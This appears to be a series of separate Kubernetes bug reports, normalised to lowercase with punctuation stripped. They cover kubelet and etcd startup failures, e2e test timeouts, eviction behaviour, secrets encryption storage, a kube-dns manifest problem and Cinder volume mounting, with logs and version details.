/etc/kubernetes/addons 10 root      2403  0.0  0.0  22012  1976 ?        s    10:57   0:00  |           |       \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2404  0.0  0.0   4292   712 ?        r    10:57   0:00  |           |           \\_ cat /etc/kubernetes/addons/cluster-monitoring/influxdb/heapster-service.yaml root      2405  0.0  0.1  18992  5056 ?        r    10:57   0:00  |           |           \\_ python -c  try:         import pipes,sys,yaml         y = yaml.load sys.stdin          labels = y \ metadata\   \ labels\           if  \ kubernetes.io/cluster-service\ , \ true\   not in labels.iteritems  :               all add-ons must have the label \ kubernetes.io/cluster-service\ .               otherwise we are ignoring them  the update will not work anyway              print \ error\          else:             print y \ kind\   except exception, ex:         print \ error\       root      2218  0.0  0.0  22000  2072 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2290  0.0  0.0  22016  2108 ?        s    10:57   0:00  |               \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2400  0.0  0.0  22016  1980 ?        s    10:57   0:00  |                   \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2402  8.0  0.3  55464 12432 ?        r    10:57   0:00  |                       \\_ python -c  try:         import pipes,sys,yaml         y = yaml.load sys.stdin          labels = y \ metadata\   \ labels\           if  \ kubernetes.io/cluster-service\ , \ true\   not in labels.iteritems  :               all add-ons must have the label \ kubernetes.io/cluster-service\ .               otherwise we are ignoring them  the update will not work anyway              print \ error\          else:             print y \ kind\   except exception, ex:         print \ error\            it may not be related, but i'm also seeing pods failing to be assigned to a node when the cluster is sitting idle and there should be plenty of resources for the pod. that doesn't reproduce as reliably though.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6097/  failed: emptydir volumes should support  non-root,0777,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir.go:84 expected error:     < errors.errorstring | 0xc208cd1f80>: {         s: \ gave up waiting for pod 'pod-48f3fbf9-4348-11e6-a08e-0242ac110005' to be 'success or failure' after 5m0s\ ,     }     gave up waiting for pod 'pod-48f3fbf9-4348-11e6-a08e-0242ac110005' to be 'success or failure' after 5m0s not to have occurred

here's a typical startup log, after a reboot:      i0707 04:39:26.707435    1143 aws.go:546  zone not specified in configuration file; querying aws metadata service i0707 04:39:27.050297    1143 aws.go:681  aws cloud filtering on tags: map kubernetescluster:t11e  i0707 04:39:27.050355    1143 plugins.go:41  registered credential provider \ aws-ecr-key\  i0707 04:39:27.050373    1143 server.go:312  successfully initialized cloud provider: \ aws\  from the config file: \ \  i0707 04:39:27.051894    1143 manager.go:132  cadvisor running in container: \ /system.slice/kubelet.service\  w0707 04:39:27.052820    1143 manager.go:136  unable to connect to docker: cannot connect to docker endpoint w0707 04:39:27.053406    1143 fs.go:161  could not get docker devicemapper device: unexpected end of json input i0707 04:39:27.053428    1143 fs.go:109  filesystem partitions: map /dev/xvda1:{mountpoint:/ major:202 minor:1 fstype: blocksize:0}  i0707 04:39:27.059814    1143 manager.go:169  machine: {numcores:2 cpufrequency:2400094 memorycapacity:8370016256 machineid:ff80072bd5b640ccaa7ccb5275b1b0be systemuuid:ec29154a-7520-09f8-039a-29af6c762558 bootid:ec453916-8870-4172-886d-57219d786cad filesystems: {device:/dev/xvda1 capacity:63271215104 type:vfs inodes:3932160}  diskmap:map 202:0:{name:xvda major:202 minor:0 size:64424509440 scheduler:none}  networkdevices: {name:ens3 macaddress:06:78:f5:60:45:f9 speed:10000 mtu:9001}  topology: {id:0 memory:8370016256 cores: {id:0 threads: 0 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:31457280 type:unified level:3} }  cloudprovider:aws instancetype:m4.large instanceid:i-06d03923e9e5a6329} i0707 04:39:27.060053    1143 manager.go:175  version: {kernelversion:4.4.0-28-generic containerosversion:ubuntu 16.04 lts dockerversion:unknown cadvisorversion: cadvisorrevision:} i0707 04:39:27.060718    1143 server.go:344  using root directory: /var/lib/kubelet i0707 04:39:27.060770    1143 server.go:598  cloud provider determined current node name to be ip-10-0-4-127.ec2.internal i0707 04:39:27.060906    1143 server.go:673  adding manifest file: /etc/kubernetes/manifests i0707 04:39:27.060931    1143 file.go:47  watching path \ /etc/kubernetes/manifests\  i0707 04:39:27.060965    1143 server.go:683  watching apiserver i0707 04:39:27.067876    1143 kubelet.go:380  hairpin mode set to \ promiscuous-bridge\  e0707 04:39:27.068053    1143 manager.go:208  failed to execute info   call to the docker client: cannot connect to docker endpoint w0707 04:39:27.068066    1143 manager.go:209  using fallback default of /var/lib/docker for location of docker runtime i0707 04:39:27.068073    1143 plugins.go:56  registering credential provider: .dockercfg i0707 04:39:27.069047    1143 aws.go:546  zone not specified in configuration file; querying aws metadata service i0707 04:39:27.208278    1143 aws.go:681  aws cloud filtering on tags: map kubernetescluster:t11e  i0707 04:39:27.208372    1143 plugins.go:56  registering credential provider: aws-ecr-key i0707 04:39:27.208420    1143 kubelet.go:3581  setting pod cidr:  -> 172.20.0.0/16 i0707 04:39:27.208511    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/aws-ebs\  i0707 04:39:27.208529    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/empty-dir\  i0707 04:39:27.208540    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/gce-pd\  i0707 04:39:27.208552    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/git-repo\  i0707 04:39:27.208564    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/host-path\  i0707 04:39:27.208574    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/nfs\  i0707 04:39:27.208600    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/secret\  i0707 04:39:27.208612    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/iscsi\  i0707 04:39:27.208625    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/glusterfs\  i0707 04:39:27.208638    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/persistent-claim\  i0707 04:39:27.208647    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/rbd\  i0707 04:39:27.208658    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/cinder\  i0707 04:39:27.208668    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/cephfs\  i0707 04:39:27.208681    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/downward-api\  i0707 04:39:27.208691    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/fc\  i0707 04:39:27.208701    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/flocker\  i0707 04:39:27.208712    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/azure-file\  i0707 04:39:27.208724    1143 plugins.go:291  loaded volume plugin \ kubernetes.io/configmap\  i0707 04:39:27.208813    1143 server.go:645  started kubelet i0707 04:39:27.209484    1143 server.go:109  starting to listen on 0.0.0.0:10250 i0707 04:39:27.209914    1143 server.go:126  starting to listen read-only on 0.0.0.0:10255 e0707 04:39:27.213109    1143 kubelet.go:956  image garbage collection failed: unable to find data for container / e0707 04:39:27.214364    1143 kubelet.go:950  container garbage collection failed: cannot connect to docker endpoint i0707 04:39:27.214516    1143 container_manager_linux.go:207  updating kernel flag: vm/overcommit_memory, expected value: 1, actual value: 0 i0707 04:39:27.214581    1143 container_manager_linux.go:207  updating kernel flag: kernel/panic, expected value: 10, actual value: 0 i0707 04:39:27.214646    1143 container_manager_linux.go:207  updating kernel flag: kernel/panic_on_oops, expected value: 1, actual value: 0 i0707 04:39:27.214686    1143 fs_resource_analyzer.go:66  starting fs resourceanalyzer i0707 04:39:27.214700    1143 manager.go:123  starting to sync pod status with apiserver i0707 04:39:27.214714    1143 kubelet.go:2356  starting kubelet main sync loop. i0707 04:39:27.214737    1143 kubelet.go:2365  skipping pod synchronization -  network state unknown container runtime is down  w0707 04:39:27.215556    1143 image_manager.go:135   imagemanager  failed to monitor images: cannot connect to docker endpoint e0707 04:39:27.218185    1143 kubelet.go:2706  container runtime sanity check failed: docker: failed to get docker version: cannot connect to docker endpoint e0707 04:39:27.218387    1143 generic.go:195  genericpleg: unable to retrieve pods: cannot connect to docker endpoint i0707 04:39:27.223335    1143 container_bridge.go:157  masquerade rule doesn't exist, recreate it  with nonmasqueradecidr 10.0.0.0/8  e0707 04:39:27.229302    1143 container_manager_linux.go:267  failed to detect process id for \ docker\  - failed to find pid of \ docker\ : exit status 1 i0707 04:39:27.237011    1143 container_bridge.go:77  cbr0 doesn't exist, attempting to create it with range: 172.20.0.1/16 i0707 04:39:27.314922    1143 kubelet.go:1086  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.large i0707 04:39:27.315036    1143 kubelet.go:1097  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1e i0707 04:39:27.315051    1143 kubelet.go:1101  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1 i0707 04:39:27.717823    1143 container_bridge.go:67  recreated cbr0 and restarted docker i0707 04:39:32.214945    1143 kubelet.go:2365  skipping pod synchronization -  container runtime is down  i0707 04:39:32.425923    1143 factory.go:233  registering docker factory i0707 04:39:32.426558    1143 factory.go:97  registering raw factory i0707 04:39:32.651496    1143 manager.go:1003  started watching for new ooms in manager i0707 04:39:32.651554    1143 oomparser.go:198  oom parser using kernel log file: \ /var/log/kern.log\  i0707 04:39:32.652011    1143 manager.go:256  starting recovery of all containers i0707 04:39:32.715598    1143 manager.go:261  recovery completed i0707 04:39:37.215144    1143 kubelet.go:2388  syncloop  add, \ file\  : \ \  i0707 04:40:10.699621    1143 kubelet.go:2388  syncloop  add, \ api\  : \ \  w0707 04:40:11.230375    1143 kubelet.go:1979  orphaned volume \ 9ccd545b-43f7-11e6-b397-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.230781    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/9ccd545b-43f7-11e6-b397-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  w0707 04:40:11.231294    1143 kubelet.go:1979  orphaned volume \ 9cd9545b-43f7-11e6-b397-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.231639    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/9cd9545b-43f7-11e6-b397-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  w0707 04:40:11.232359    1143 kubelet.go:1979  orphaned volume \ a8f0d97c-43f4-11e6-9993-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.232730    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/a8f0d97c-43f4-11e6-9993-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  w0707 04:40:11.233205    1143 kubelet.go:1979  orphaned volume \ 8c752b15-43f4-11e6-9993-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.233524    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/8c752b15-43f4-11e6-9993-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  w0707 04:40:11.234029    1143 kubelet.go:1979  orphaned volume \ 9cc0b859-43f7-11e6-b397-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.234349    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/9cc0b859-43f7-11e6-b397-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  w0707 04:40:11.234835    1143 kubelet.go:1979  orphaned volume \ 9cc22b48-43f7-11e6-b397-065b459e106f/default-token-lp2nu\  found, tearing down volume w0707 04:40:11.235198    1143 mount.go:98  could not determine device for path: \ /var/lib/kubelet/pods/9cc22b48-43f7-11e6-b397-065b459e106f/volumes/kubernetes.io~secret/default-token-lp2nu\  e0707 04:40:43.992351    1143 generic.go:229  pleg: ignoring events for pod enclosure-docs-1190668700-plai3/default: api error  500 : unknown device 64f5fade47193958819ab5e39191cc704156ea1a0e5ab62e07e5f615fe99ff07 i0707 04:41:10.031007    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:41:10.031523    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:41:10.032051    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof e0707 04:41:10.046308    1143 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 89756  89778  e0707 04:41:10.046593    1143 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: too old resource version: 89756  89763  e0707 04:41:13.864306    1143 generic.go:229  pleg: ignoring events for pod enclosure-docs-1190668700-lnbw6/default: api error  500 : unknown device 853befbd5309496cfc3b1f1c575bee31db89c210b7c5dd659108269431b21238 i0707 04:42:10.025001    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:42:11.022202    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:42:11.022657    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof e0707 04:42:30.330719    1143 generic.go:229  pleg: ignoring events for pod nginx-ingress-controller-hi22v/default: api error  500 : unknown device 8d355e320aad810545c0c71b35bb920ae381ab9acb2fb308653ff940ae1f9036 e0707 04:42:35.688447    1143 generic.go:229  pleg: ignoring events for pod nginx-ingress-controller-hi22v/default: api error  500 : unknown device 084f146a5213995fff193a2ebc5f0d057451324ede9e1530ec83e082ea466e10 i0707 04:43:10.026752    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:43:11.021864    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:43:11.021979    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:44:10.026241    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:44:11.023897    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:44:11.023930    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:45:10.025972    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:45:11.024799    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:45:11.024871    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:46:10.025912    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:46:11.025397    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof i0707 04:46:11.025475    1143 iowatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof      it will sit there and never put itself in the \ ready\  state. a lot of times, i get an endless cycle of these:      kubelet.go:2365  skipping pod synchronization -  container runtime is down       ...even though docker is running and  docker.sock  is functional. looking with  strace , it's happily talking to docker over that socket, asking for its version, its containers and so on. yet kubelet never comes up.  i have restart kubelet a few times, and if i'm lucky, it _eventually_ comes up. generally it's incredibly flaky, however.  kubernetes 1.2, docker 1.9.1, linux 4.4.0, ubuntu 16.04, aws.

is this a bug report or feature request?    choose one :\r bug report\r \r hi,\r \r i have been getting this error when trying to reach the kubernetes dashboard and this is happening few days after starting the cluster and slowly the frequency of crashes and unavailability of k8s dashboard time is also increasing.\r \r error message:\r    \r {\r \t\ kind\ : \ status\ ,\r \t\ apiversion\ : \ v1\ ,\r \t\ metadata\ : {},\r \t\ status\ : \ failure\ ,\r \t\ message\ : \ client: etcd cluster is unavailable or misconfigured\ ,\r \t\ code\ : 500\r }\r    \r \r here is the log  snippet  that i got from etcd container k8s_etcd-container.fc80f341_etcd-server-events-ip-172-20-61-117.eu-central-1.compute.internal_kube-system_59da3ff0d3d20fb78afe7b5f9a9333bc_38757300 in this path  /var/log/etcd.log \r \r    \r 2017-02-01 05:50:25.076007 i | etcdserver: starting server...  version: 2.2.1, cluster version: 2.2 \r 2017-02-01 05:50:25.476159 i | raft: 64ee7ee04873811a is starting a new election at term 2769\r 2017-02-01 05:50:25.476244 i | raft: 64ee7ee04873811a became candidate at term 2770\r 2017-02-01 05:50:25.476253 i | raft: 64ee7ee04873811a received vote from 64ee7ee04873811a at term 2770\r 2017-02-01 05:50:25.476271 i | raft: 64ee7ee04873811a became leader at term 2770\r 2017-02-01 05:50:25.476297 i | raft: raft.node: 64ee7ee04873811a elected leader 64ee7ee04873811a at term 2770\r 2017-02-01 05:50:25.482216 i | etcdserver: published {name:etcd-events-eu-central-1a clienturls: http://etcd-events-eu-central-1a.internal.dev.logos.social:4002 } to cluster 853871caecae4c74\r 2017-02-01 06:02:38.987224 i | flags: recognized and used environment variable etcd_advertise_client_urls=http://etcd-events-master-eu-central-1a.internal.dev.logos.social:4002\r 2017-02-01 06:02:38.987273 i | flags: recognized and used environment variable etcd_data_dir=/var/etcd/data-events\r 2017-02-01 06:02:38.987309 i | flags: recognized and used environment variable etcd_initial_advertise_peer_urls=http://etcd-events-master-eu-central-1a.internal.dev.logos.social:2381\r 2017-02-01 06:02:38.987325 i | flags: recognized and used environment variable etcd_initial_cluster=etcd-events-master-eu-central-1a=http://etcd-events-master-eu-central-1a.internal.dev.logos.social:2381\r 2017-02-01 06:02:38.987332 i | flags: recognized and used environment variable etcd_initial_cluster_state=new\r 2017-02-01 06:02:38.987337 i | flags: recognized and used environment variable etcd_initial_cluster_token=etcd-cluster-token-etcd-events\r 2017-02-01 06:02:38.987345 i | flags: recognized and used environment variable etcd_listen_client_urls=http://0.0.0.0:4002\r 2017-02-01 06:02:38.987352 i | flags: recognized and used environment variable etcd_listen_peer_urls=http://0.0.0.0:2381\r 2017-02-01 06:02:38.987365 i | flags: recognized and used environment variable etcd_name=etcd-events-master-eu-central-1a\r 2017-02-01 06:02:38.987469 i | etcdmain: etcd version: 2.2.1\r 2017-02-01 06:02:38.987476 i | etcdmain: git sha: 75f8282\r 2017-02-01 06:02:38.987480 i | etcdmain: go version: go1.5.1\r 2017-02-01 06:02:38.987484 i | etcdmain: go os/arch: linux/amd64\r 2017-02-01 06:02:38.987492 i | etcdmain: setting maximum number of cpus to 1, total number of available cpus is 1\r 2017-02-01 06:02:38.987532 n | etcdmain: the server is already initialized as member before, starting as etcd member...\r 2017-02-01 06:02:38.987591 i | etcdmain: listening for peers on http://0.0.0.0:2381\r 2017-02-01 06:02:38.987631 i | etcdmain: listening for client requests on http://0.0.0.0:4002\r 2017-02-01 06:02:39.071569 i | etcdserver: recovered store from snapshot at index 1510151\r 2017-02-01 06:02:39.071601 i | etcdserver: name = etcd-events-master-eu-central-1a\r 2017-02-01 06:02:39.071606 i | etcdserver: data dir = /var/etcd/data-events\r 2017-02-01 06:02:39.071612 i | etcdserver: member dir = /var/etcd/data-events/member\r 2017-02-01 06:02:39.071616 i | etcdserver: heartbeat = 100ms\r 2017-02-01 06:02:39.071620 i | etcdserver: election = 1000ms\r 2017-02-01 06:02:39.071624 i | etcdserver: snapshot count = 10000\r 2017-02-01 06:02:39.071638 i | etcdserver: advertise client urls = http://etcd-events-master-eu-central-1a.internal.dev.logos.social:4002\r 2017-02-01 06:02:39.071660 i | etcdserver: loaded cluster information from store: <nil>\r 2017-02-01 06:02:39.381693 i | etcdserver: restarting member 64ee7ee04873811a in cluster 853871caecae4c74 at commit index 1515419\r 2017-02-01 06:02:39.381994 i | raft: 64ee7ee04873811a became follower at term 2770\r 2017-02-01 06:02:39.382010 i | raft: newraft 64ee7ee04873811a  peers:  64ee7ee04873811a , term: 2770, commit: 1515419, applied: 1510151, lastindex: 1515419, lastterm: 2770 \r 2017-02-01 06:02:39.384152 i | etcdserver: starting server...  version: 2.2.1, cluster version: 2.2 \r 2017-02-01 06:02:39.784296 i | raft: 64ee7ee04873811a is starting a new election at term 2770\r 2017-02-01 06:02:39.784394 i | raft: 64ee7ee04873811a became candidate at term 2771\r 2017-02-01 06:02:39.784402 i | raft: 64ee7ee04873811a received vote from 64ee7ee04873811a at term 2771\r 2017-02-01 06:02:39.784434 i | raft: 64ee7ee04873811a became leader at term 2771\r 2017-02-01 06:02:39.784444 i | raft: raft.node: 64ee7ee04873811a elected leader 64ee7ee04873811a at term 2771\r 2017-02-01 06:02:39.786300 i | etcdserver: published {name:etcd-events-master-eu-central-1a clienturls: http://etcd-events-master-eu-central-1a.internal.dev.logos.social:4002 } to cluster 853871caecae4c74\r 2017-02-01 06:03:38.947298 i | flags: recognized and used environment variable etcd_advertise_client_urls=http://etcd-events-eu-central-1a.internal.dev.logos.social:4002\r 2017-02-01 06:03:38.947368 i | flags: recognized and used environment variable etcd_data_dir=/var/etcd/data-events\r 2017-02-01 06:03:38.947389 i | flags: recognized and used environment variable etcd_initial_advertise_peer_urls=http://etcd-events-eu-central-1a.internal.dev.logos.social:2381\r 2017-02-01 06:03:38.947396 i | flags: recognized and used environment variable etcd_initial_cluster=etcd-events-eu-central-1a=http://etcd-events-eu-central-1a.internal.dev.logos.social:2381\r 2017-02-01 06:03:38.947407 i | flags: recognized and used environment variable etcd_initial_cluster_state=new\r    \r   kubernetes version    use  kubectl version  :\r    \r {\r   \ major\ : \ 1\ ,\r   \ minor\ : \ 4\ ,\r   \ gitversion\ : \ v1.4.7\ ,\r   \ gitcommit\ : \ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2016-12-10t04:43:42z\ ,\r   \ goversion\ : \ go1.6.3\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ linux/amd64\ \r }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  aws \r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux ip-172-20-61-117 4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux \r -   install tools  :  kops \r -   others  :\r \r \r   what happened  :\r kubernetes api is not reachable.\r \r   what you expected to happen  :\r high availability of kubernetes api and dashboard\r \r   how to reproduce it    as minimally and precisely as possible :\r create a cluster using kops  https://github.com/kubernetes/kops/blob/master/docs/aws.md  \r \r   anything else we need to know  :\r have 1 master t2.small  and 2 nodes t2.medium \r \r \r please help in resolving the issue and also let me know if you need more info. \r \r thanks,\r phanindra\r

lately we have customer possibly hitting this issue when there are too many unused images on nodes.\r \r when nodes are under disk pressure  either disck space or inodes , eviction manager will try deleting unused images at first to reclaims disk resource, which is good. however, a common issue we could see is the eviction manager continues to evict innocent pods even if the unused images were deleted and the disk pressure should have been resolved. the eviction manager does not aware of the latest disk status until cadvisor re-sync with it.\r \r although the evicted pods may get rescheduled /  restarted by their controllers after, this is not optimal.\r \r @dashpole @kubernetes/sig-node-bugs

in  buildauthenticator , configuration is read for  serviceaccounts  group resource   here  https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go l500  , but it gets used to access secrets as well   here  https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go l504  .\r \r relevant code:\r    \r \t\t// we have to go direct to storage because the clientsets fail when they're initialized with some api versions excluded\r \t\t// we should stop trying to control them like that.\r \t\tstorageconfig, err := storagefactory.newconfig api.resource \ serviceaccounts\   \r \t\tif err != nil {\r \t\t\treturn nil, nil, fmt.errorf \ unable to get serviceaccounts storage: %v\ , err \r \t\t}\r \t\tauthenticatorconfig.serviceaccounttokengetter = serviceaccountcontroller.newgetterfromstorageinterface storageconfig,\r                         storagefactory.resourceprefix api.resource \ serviceaccounts\   , storagefactory.resourceprefix api.resource \ secrets\    \r    \r \r causes issues while using encryption providers  reference:  46460  to encrypt secrets, since they get written using the transformer, but get read directly.\r \r workaround for now: always include  serviceaccounts  along with  secrets  in the resources to be encrypted  in configuration file for encryption providers . is bad from a consumer perspective.\r \r other workarounds:\r   put a special case in the transformer overrides. if consumer includes secrets in the configuration, also add serviceaccounts.\r   find a way to merge the configurations for serviceaccounts and secrets in buildauthenticator. i am not familiar with buildauthenticator and thus would like some help evaluating how this would be feasible.\r \r @jcbsmpsn \r @deads2k   git blame

is this a request?  :\r \r currently there is not a properly versioned build artifact that is created from the upstream release process that contains the e2e tests and associated tooling  kubectl .  \r \r   kubernetes version    use  kubectl version  :\r \r all\r \r   what happened  :\r tried to find a well versioned e2e container for the release, and there is none that isn't tied into the test-infra or has some gcloud bindings built in.  \r \r /cc @kubernetes/sig-release-feature-requests @kubernetes/test-infra-maintainers \r \r

  @kubernetes/sig-api-machinery- \r \r   what happened  :\r when trying to mount hostpath to skydns/kube2sky replication controller, it's not being mounted at all. also, when volume/volumemount sections of yaml are added to kube2sky, 2nd container in replication controller which is skydns never starts.\r \r   what you expected to happen  :\r i should be able to add hostpath volume to replication controller and both containers should be running inside it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the following manifest:\r \r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: kube-dns-v11\r   namespace: kube-system\r   labels:\r     k8s-app: kube-dns\r     version: v11\r     kubernetes.io/cluster-service: \ true\ \r spec:\r   replicas: 3\r   selector:\r     k8s-app: kube-dns\r     version: v11\r   template:\r     metadata:\r       labels:\r         k8s-app: kube-dns\r         version: v11\r         kubernetes.io/cluster-service: \ true\ \r     spec:\r       containers:\r       - name: kube2sky\r         image: gcr.io/google_containers/kube2sky:1.15\r         resources:\r           limits:\r             cpu: 100m\r               kube2sky watches all pods.\r             memory: 200mi\r           requests:\r             cpu: 100m\r             memory: 50mi\r         args:\r         - --domain=cluster.local\r         - --kubecfg-file=/etc/kubernetes/kube2sky.kubeconfig3\r         - --etcd-server=http://10.255.13.246:2379\r        volumemounts:\r         - mountpath: /etc/kubernetes\r           name: etcvol\r       volumes:\r       - hostpath:\r           path: /etc/kubernetes\r         name: etcvol\r      \r \r           - name: skydns\r             image: gcr.io/google_containers/skydns:1.0\r             resources:\r               limits:\r                 cpu: 100m\r                 memory: 200mi\r               requests:\r                 cpu: 100m\r                 memory: 50mi\r             args:\r             - -machines=http://10.255.13.246:2379\r             - -addr=0.0.0.0:53\r             - -ns-rotate=false\r             - -domain=cluster.local.\r             ports:\r             - containerport: 53\r               name: dns\r               protocol: udp\r             - containerport: 53\r               name: dns-tcp\r               protocol: tcp\r           volumes:\r           - name: etcd-storage\r             emptydir: {}\r           dnspolicy: default    don't use cluster dns.\r \r     \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ a55267932d501b9fbd6d73e5ded47d79b5763ce5\ , gittreestate:\ clean\ , builddate:\ 2017-04-14t13:36:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.21.1.el7.x86_64  1 smp thu may 25 17:04:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: ansible\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r \r >  \r \r \r   what happened  :\r cinder volumes  will attach but will not mount\r \r   what you expected to happen  :\r \r to mount cinder volumes in pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-03-09t11:55:06z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r openstack ocata\r - os  e.g. from /etc/os-release :\r =\ fedora 25  atomic host \ \r - kernel  e.g.  uname -a  :\r  4.9.14-200.fc25.x86_64 \r - install tools:\r magnum\r - others:\r \r \r hello \r \r i  have a kube cluster deployed with magnum on openstack.  i have created pv and pvc and their status is bound as shown below \r \r    \r kubectl get pv\r name             capacity   accessmodes   reclaimpolicy   status    claim                    reason    age\r billing-claim0   5gi        rwo           retain          bound     default/billing-claim0             3h\r    \r \r when i execute a yaml which creates a pod and tries to use the above claim , it fails to start with status container creating.\r at the same time , the volume gets attached  but not mounted\r \r here it is\r \r    \r   openstack volume list\r +--------------------------------------+-------------------+-----------+------+--------------------------------------------------------------------------------+\r | id                                   | display name      | status    | size | attached to                                                                    \r | ae944fe9-15b4-4245-9bf3-8eda153c0c88 | billing-claim0    | in-use    |   10 | attached to ku-l5z6akaikg-1-2qzm2akykxx3-kube-minion-l3eusvago62o on /dev/vdd  |\r +--------------------------------------+-------------------+-----------+------+--------------------------------------------------------------------------------+\r \r    \r \r and this is the log \r \r    \r kubectl get pods\r name                       ready     status              restarts   age\r billing-1306701657-cd4wm   0/1       containercreating   0          3h\r nginx                      1/1       running             0          1d\r 